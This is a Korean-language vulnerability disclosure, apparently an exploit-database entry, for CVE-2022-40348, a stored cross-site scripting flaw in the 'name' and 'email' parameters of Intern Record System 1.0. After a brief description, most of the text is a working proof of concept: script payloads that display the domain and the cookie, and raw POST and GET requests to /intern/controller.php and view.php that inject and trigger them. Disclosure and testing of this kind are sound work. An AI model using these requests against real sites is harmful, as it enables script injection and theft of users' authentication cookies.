
CVE-2022-40348: 인턴 기록 시스템 - 'name' 및 'email' 크로스사이트 스크립팅 (인증되지 않은)
Intern Record System 1.0은 "/intern/controller.php"의 'name' 및 'email' 매개변수를 통한 저장형 크로스 사이트 스크립팅에 취약합니다. Intern Record System은 사용자가 제공한 데이터를 충분히 정화하지 못하여 크로스 사이트 스크립팅 취약점에 노출됩니다. 공격자는 이 문제를 악용하여 영향을 받는 사이트의 컨텍스트에서 의심하지 않는 사용자의 브라우저에서 임의의 스크립트 코드를 실행할 수 있습니다. 이를 통해 공격자는 쿠키 기반 인증 자격 증명을 탈취하고 다른 공격을 시작할 수 있습니다.
<script>alert(document.domain)</script><script>alert(document.cookie)</script>POST /intern/controller.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 78
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/intern/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
name=<script>alert(document.domain)</script>&email=&phone=&deptType=3
GET /intern/view.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://localhost/intern/controller.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
POST /intern/controller.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 153
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/intern/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
name=&email=<script>alert(document.cookie)</script>&phone=&deptType=3
GET /intern/view.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://localhost/intern/controller.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36